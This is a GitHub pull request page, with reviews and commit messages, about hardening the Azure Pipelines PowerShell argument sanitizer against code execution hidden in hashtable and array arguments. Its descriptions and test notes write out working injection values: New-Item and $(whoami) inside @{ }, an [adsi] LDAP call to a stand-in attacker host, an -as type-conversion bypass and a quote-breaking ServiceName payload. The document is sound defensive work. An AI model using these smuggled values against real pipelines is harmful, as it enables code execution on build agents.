Common/Sanitizer: block data-constructor RCE via AST backstop (issue #22173, supersedes #22253) - #22273
Conversation
PR #22253 proposed relaxing the PowerShell argument-sanitizer allow-list to permit the data-constructor characters @ { } [ ] (regression issue #22173) so legitimate hashtable/array arguments to AzurePowerShell and ServiceFabricPowerShell scripts are no longer mangled. That character-only relaxation, however, re-opens code execution: the sanitizer only *validates* arguments - the task runs the RAW string verbatim at a dot-source sink (". '<script>' <args>" / "& '<script>' <args>"), so an argument such as -Tag @{ k = New-Item -Path C:\evil.txt -ItemType File -Force } -Tag @{ k = $(whoami) } -Tag @{ k = [adsi]'LDAP://attacker' } uses only allow-listed characters yet EXECUTES, because a hashtable value, array element, sub-expression or cast inside a data constructor is an evaluated expression at bind time. (The same tokens at top-level argument position are inert literal strings at this sink - verified empirically against both real sinks.) PR #22249 already shipped the equivalent relaxation for AzureCLI and carries the same exposure. Fix: keep the relaxed character allow-list but add a structural AST backstop, Test-SanitizerArgumentAst, that parses the raw arguments exactly as the sink does and rejects anything that is not a pure data literal - parse errors, nested commands, script blocks, member access / method calls and type casts - while still allowing @{ Port = 8080 }, @{ Owner = "a@b.com" }, splatting, $env: variables, quoted strings and numbers. The relaxed path is opt-in via a new -AllowDataConstructors switch on Get-SanitizedArguments / Protect-ScriptArguments. Only the dispatcher (Invoke-ScriptArgumentSanitization, used by AzurePowerShellV2-V5 and ServiceFabricPowerShellV1) passes it. Legacy direct callers (AzureFileCopy, PowerShell, PowerShellOnTargetMachines, WindowsMachineFileCopy, Sql*Deployment) keep the strict allow-list with no behavioral change (the switch defaults off). L0 coverage added: - Test-SanitizerArgumentAst classification (data literals vs. executable exprs) - relaxed path allows legitimate data constructors - relaxed path blocks data-constructor injection, with an explicit assertion that the character regex alone does NOT catch them (the AST is load-bearing) - strict (legacy) path is unchanged for non-dispatcher callers Version-bumped all 17 sanitizer-bundling tasks and regenerated _generated. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
Independent security review found a bypass: an -as conversion such as
@{ k = 'C:\victim\file.ps1' -as [System.IO.StreamWriter] } uses only
allow-listed characters and parses as a BinaryExpressionAst + TypeExpressionAst
(neither flagged by the previous predicate), but still invokes the target type's
constructor at the dot-source sink - verified to execute with both a [type]
literal and a string/variable right operand, on both the AzurePowerShell and
ServiceFabric sinks under PowerShell 5.1 and 7.
Test-SanitizerArgumentAst now also rejects:
- the -as operator (BinaryExpressionAst with TokenKind.As), regardless of the
right-operand form, which also makes the [type]'x' cast and 'x' -as [type]
conversion forms consistently blocked; and
- any TypeExpressionAst (a type reference used as a value inside a data
constructor); top-level type literals passed as plain arguments do not parse
as TypeExpressionAst and remain allowed (e.g. -Type [System.String]).
L0: added -as (type-literal and value-type) and bare-type-reference cases to the
classifier and integration injection corpora; -Type [System.String] added to the
allow corpus. Full Sanitizer L0 suite passes (13/13).
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
|
Hardening update (897cd28): an independent security review found that the AST backstop missed the uses only allow-listed characters and parses as
|
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
There was a problem hiding this comment.
Pull request overview
Security hardening for the shared PowerShell argument sanitizer (Tasks/Common/Sanitizer) to safely allow PowerShell data-constructor characters (@ { } [ ]) without re-introducing RCE at the script invocation sink for AzurePowerShell and ServiceFabricPowerShell tasks (issue #22173).
Changes:
- Added an AST-based “backstop” (
Test-SanitizerArgumentAst) and wired it into an opt-in relaxed sanitizer path (-AllowDataConstructors) used only via the dispatcher. - Updated the dispatcher to opt in to the relaxed+AST path for AzurePowerShellV2–V5 and ServiceFabricPowerShellV1 while keeping legacy direct callers on the strict path.
- Added new L0 tests validating AST classification, allow-list behavior, and isolation for legacy callers; bumped consumer task versions (including regenerated artifacts).
Reviewed changes
Copilot reviewed 66 out of 66 changed files in this pull request and generated 7 comments.
Show a summary per file
| File | Description |
|---|---|
| Tasks/WindowsMachineFileCopyV2/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/WindowsMachineFileCopyV2/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/WindowsMachineFileCopyV1/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/WindowsMachineFileCopyV1/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/SqlDacpacDeploymentOnMachineGroupV0/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/SqlDacpacDeploymentOnMachineGroupV0/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/SqlAzureDacpacDeploymentV1/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/SqlAzureDacpacDeploymentV1/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/ServiceFabricPowerShellV1/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/ServiceFabricPowerShellV1/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/PowerShellV2/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/PowerShellV2/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/PowerShellOnTargetMachinesV3/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/PowerShellOnTargetMachinesV3/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/Common/Sanitizer/Tests/L0Test-SanitizerArgumentAst.ps1 | New unit test matrix for AST safety classification. |
| Tasks/Common/Sanitizer/Tests/L0Protect-ScriptArguments.BlocksDataConstructorInjection.ps1 | New regression lock proving AST backstop blocks RCE cases the regex alone would allow. |
| Tasks/Common/Sanitizer/Tests/L0Protect-ScriptArguments.AllowsDataConstructors.ps1 | New positive tests for relaxed path accepting benign data-constructor scenarios. |
| Tasks/Common/Sanitizer/Tests/L0Get-SanitizedArguments.GroupBIsolation.ps1 | New isolation test asserting strict legacy path remains unchanged. |
| Tasks/Common/Sanitizer/Tests/L0.ts | Wires new PowerShell L0 tests into the mocha suite. |
| Tasks/Common/Sanitizer/Invoke-ScriptArgumentSanitization.ps1 | Dispatcher now opts into relaxed sanitizer path (via -AllowDataConstructors). |
| Tasks/Common/Sanitizer/ArgumentsSanitizer.ps1 | Implements -AllowDataConstructors, AST backstop, and telemetry flagging for AST rejection. |
| Tasks/AzurePowerShellV5/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV5/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV4/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV4/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV3/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV3/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV2/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzurePowerShellV2/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV6/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV6/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV5/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV5/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV4/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV4/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV3/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV3/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV2/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV2/task.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV1/task.loc.json | Patch version bump for sanitizer module consumption. |
| Tasks/AzureFileCopyV1/task.json | Patch version bump for sanitizer module consumption. |
| _generated/AzurePowerShellV5/task.loc.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzurePowerShellV5/task.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzurePowerShellV5.versionmap.txt | Regenerated version map for build configs. |
| _generated/AzurePowerShellV5_Node24/task.loc.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzurePowerShellV5_Node24/task.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzurePowerShellV4/task.loc.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzurePowerShellV4/task.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzurePowerShellV4.versionmap.txt | Regenerated version map for build configs. |
| _generated/AzurePowerShellV4_Node24/task.loc.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzurePowerShellV4_Node24/task.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzureFileCopyV6/task.loc.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzureFileCopyV6/task.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzureFileCopyV6.versionmap.txt | Regenerated version map for build configs. |
| _generated/AzureFileCopyV6_Node24/task.loc.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzureFileCopyV6_Node24/task.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzureFileCopyV5/task.loc.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzureFileCopyV5/task.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzureFileCopyV5.versionmap.txt | Regenerated version map for build configs. |
| _generated/AzureFileCopyV5_Node24/task.loc.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzureFileCopyV5_Node24/task.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzureFileCopyV4/task.loc.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzureFileCopyV4/task.json | Regenerated artifact version + build config mapping bump. |
| _generated/AzureFileCopyV4.versionmap.txt | Regenerated version map for build configs. |
| _generated/AzureFileCopyV4_Node24/task.loc.json | Regenerated Node24 artifact version + build config mapping bump. |
| _generated/AzureFileCopyV4_Node24/task.json | Regenerated Node24 artifact version + build config mapping bump. |
|
Addressed the Copilot review comments:
|
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 52 out of 52 changed files in this pull request and generated 1 comment.
Comments suppressed due to low confidence (1)
Tasks/Common/Sanitizer/ArgumentsSanitizer.ps1:92
- In relaxed mode (-AllowDataConstructors), an AST backstop rejection indicates a potentially executable expression that the character allow-list will not rewrite away (e.g.
@{ k = New-Item ... }). Right now, whenAZP_75787_ENABLE_NEW_LOGIC_LOG(audit) orAZP_75787_ENABLE_COLLECT(telemetry) are enabled withoutAZP_75787_ENABLE_NEW_LOGIC(activate), the code will not throw onastSafe = $false, so the dispatcher can continue and the unsafe args can still reach the dot-source/&sink. AST rejections should fail closed regardless of activate/audit/telemetry mode (you can still emit warning/telemetry, but execution should be blocked).
if (($sanitizedArgs -ne $expandedArgs) -or (-not $astSafe)) {
$message = (Get-VstsLocString -Key 'PS_ScriptArgsSanitized');
if ($featureFlags.activate) {
Write-Error $message
….2->.4 same byte-length) The previous commit updated V4's _generated versionmap to 4.276.4 but git's stat cache missed the same-byte-length task.json edit (.2->.4), leaving the committed task.json at 4.276.2. BuildConfigGen rejected the inconsistency (inputVersion 4.276.2 <= maxVersion 4.276.5, != defaultVersion 4.276.4). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
Addresses review feedback: the two new L0 tests set the AZP_75787_ENABLE_NEW_LOGIC feature-flag env var at load time but never restored it. The L0 PSRunner reuses a single powershell.exe process across test scripts, so the unrestored value leaked into subsequent tests. Capture the original value and restore it (or remove it when originally unset) in a finally block. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
…ests Same env-var leak as the new data-constructor tests: these two pre-existing siblings set AZP_75787_ENABLE_NEW_LOGIC at load time and never restored it, leaking 'true' into subsequent tests through the shared PSRunner process. Wrap them in the same try/finally restore so the full Sanitizer L0 suite runs leak-free. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
|
/azp run |
|
Azure Pipelines successfully started running 3 pipeline(s). |
…llOnTargetMachinesV3 and AzureCloudPowerShellDeploymentV1 (#22286) * Wire Invoke-ScriptArgumentSanitization on POTM/AzureCloud (MSRC 115118 Plan 1) Closes the two remaining PowerShell command-injection sinks tracked by MSRC 115118 that pass user-controlled task inputs straight to Invoke-Expression, by wiring the shared Invoke-ScriptArgumentSanitization dispatcher (Tasks/Common/Sanitizer/, shipped by #22171 and hardened in #22273) onto each input. Validate-only: the dispatcher throws on a violation when both the org-level 'Enable shell tasks arguments validation' toggle AND the new per-task pipeline feature flag are on, which fails the task before the iex runs. Otherwise it is a no-op. Bug 1 - PowerShellOnTargetMachinesV3 / NewPsSessionOptionArguments Sink: Utility.ps1:57-59 Invoke-Expression "New-PSSessionOption $arguments" Wire: PowerShellOnTargetMachines.ps1 calls Invoke-ScriptArgumentSanitization with TaskName 'PowerShellOnTargetMachinesV3' and PipelineFeatureFlagName 'EnablePowerShellOnTargetMachinesArgumentsSanitization' BEFORE the call that flows the input into Get-NewPSSessionOption. Module already bundled (RemoteDeployer + Sanitizer in make.json); no build config change. Version bump 3.276.1 -> 3.276.2. Bug 2 - AzureCloudPowerShellDeploymentV1 / NewServiceAdditionalArguments Sink: Publish-AzureCloudDeployment.ps1:75-77 raw append to $azureService then Invoke-Expression -Command $azureService. Wire: Add ../Common/Sanitizer to make.json common, Import-Module Sanitizer, and call Invoke-ScriptArgumentSanitization with TaskName 'AzureCloudPowerShellDeploymentV1' and PipelineFeatureFlagName 'EnableAzureCloudPowerShellArgumentsSanitization' right after the input is read and before the new-service block. Version bump 1.276.0 -> 1.276.1. FF registration in mseng/AzureDevOps lands in a companion PR (mirrors #22171's two FFs: declared in all four FeatureAvailability XMLs, defaulted on in the two DevFabric XMLs only). Production rollout via the FF service is staged audit -> enforce -> 100%, then the FF can be retired. The merged #22273 AST backstop (Test-SanitizerArgumentAst) is what closes the newline-bypass and data-constructor injection that a strict-mode char allow-list alone would not catch; the dispatcher therefore calls Protect-ScriptArguments with -AllowDataConstructors. Both wirings inherit that hardening for free. L0 tests added: PowerShellOnTargetMachinesV3/Tests/L0NewPsSessionOptionArgumentsSanitizerWiring.ps1 AzureCloudPowerShellDeploymentV1/Tests/L0NewServiceAdditionalArgumentsSanitizerWiring.ps1 Each is a wiring contract: asserts the dispatcher call is present, validates the right input variable, uses the task's exact TaskName, uses the FF name registered in the companion ADO PR, AND runs before the vulnerable Invoke-Expression so the throw aborts the task before the sink. Comprehensive dispatcher runtime behavior is already covered by Tasks/Common/Sanitizer/Tests/L0Invoke-ScriptArgumentSanitization.ps1. MSRC 115118 / IcM 31000000596029. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * Bug 2: also sanitize ServiceName / ServiceLocation / NewServiceAffinityGroup Adversarial review (Opus-4.8 max) demonstrated RCE on AzureCloudPowerShellDeploymentV1 even after the initial Bug 2 fix, by feeding the payload through ServiceName instead of NewServiceAdditionalArguments. Three other task inputs flow into the SAME Invoke-Expression -Command $azureService sink in the new-service-creation path: Publish-AzureCloudDeployment.ps1 :84 $azureService = "New-AzureService -ServiceName `"$ServiceName`"" :86 $azureService += " -AffinityGroup `"$NewServiceAffinityGroup`"" :89 $azureService += " -Location `"$ServiceLocation`"" :94 $azureService += " $NewServiceAdditionalArguments" :96 $azureService = Invoke-Expression -Command $azureService Each input is interpolated inside "..." and can break the quoting (literal " or subexpression $(...)) to inject PowerShell at the iex. Fix: validate all four inputs through Invoke-ScriptArgumentSanitization (same gates, same FF name). Empirically verified: the reviewer's payload ServiceName='svc"; $global:PWNED=$true; #' now throws PS_ScriptArgsSanitized with the FF on and the injection does NOT execute. Legitimate values (DNS-style service names, 'West US' locations, affinity-group names) remain ALLOWED (tested against the real Protect-ScriptArguments). Wiring L0 updated to assert all four -InputArgs anchors are present. MSRC 115118 Bug 2 / IcM 31000000596029. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * AzureCloud: move sanitizer call inside if (!$azureService) branch Second adversarial review (GPT-5.5 xhigh) flagged that the new-service inputs (ServiceName / ServiceLocation / NewServiceAffinityGroup / NewServiceAdditionalArguments) are only used inside the if (!$azureService) new-service-creation branch, but the sanitizer ran at top of try{}. With the FF on, this would falsely reject existing-service deployments (e.g. an unrelated -Description "Prod (EU)" left in the field), since the strict char allow-list rejects parens. Move all four dispatcher calls just inside the if (!$azureService) branch, right before the iex sink. Existing-service deployments now keep their pre-fix behavior; new-service deployments still get full validation. L0 wiring contract extended to assert the dispatcher position is after the if (!$azureService) opening brace (i.e. inside the branch). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * L0: drop stale reviewer-attribution from test comments Copilot review on PR #22286: the parenthetical (<reviewer>, <date>) notes on the two test-comment blocks will go stale and aren't actionable for future maintainers. Keep the rationale (multi-input, branch-scoped), drop the dates and model names. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Uladzimir Tratsiakou (Vladimir/Vova) <utratsiakou@microsoft.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Context
Security hardening for the shared PowerShell argument sanitizer (
Tasks/Common/Sanitizer). Supersedes #22253; related issue #22173; AzureCLI twin #22249.Two task groups
AzurePowerShellV2/V3/V4/V5,ServiceFabricPowerShellV1.AzureFileCopyV1–V6,PowerShellV2,PowerShellOnTargetMachinesV3,WindowsMachineFileCopyV1/V2.What changes
@ { } [ ]) are allowed — but any code execution inside them is blocked by an AST backstop (Test-SanitizerArgumentAst: nested commands,$(...), casts,-as, member/method calls, script blocks). This avoids the user-side regression ([REGRESSION]: New AzureCLI task scriptArguments validation causes previously working pipelines to fail #22173) while keeping the RCE closed.Gating (regression-safe)
AZP_75787_ENABLE_NEW_LOGICvariable.EnableAzurePowerShellArgumentsSanitization,EnableServiceFabricPowerShellArgumentsSanitization) — off by default, so the new path can be rolled out safely with no regression.Risk: Low
Opt-in + dispatcher-scoped; Group B unchanged; double/triple-gated; only ever tightens vs. #22253/#22249.
Behind feature flag: Yes
Org toggle + variable, plus the 2 per-task FFs above.
Tests
Version bump: Yes
All 17 sanitizer-bundling tasks bumped +
_generatedregenerated.Checklist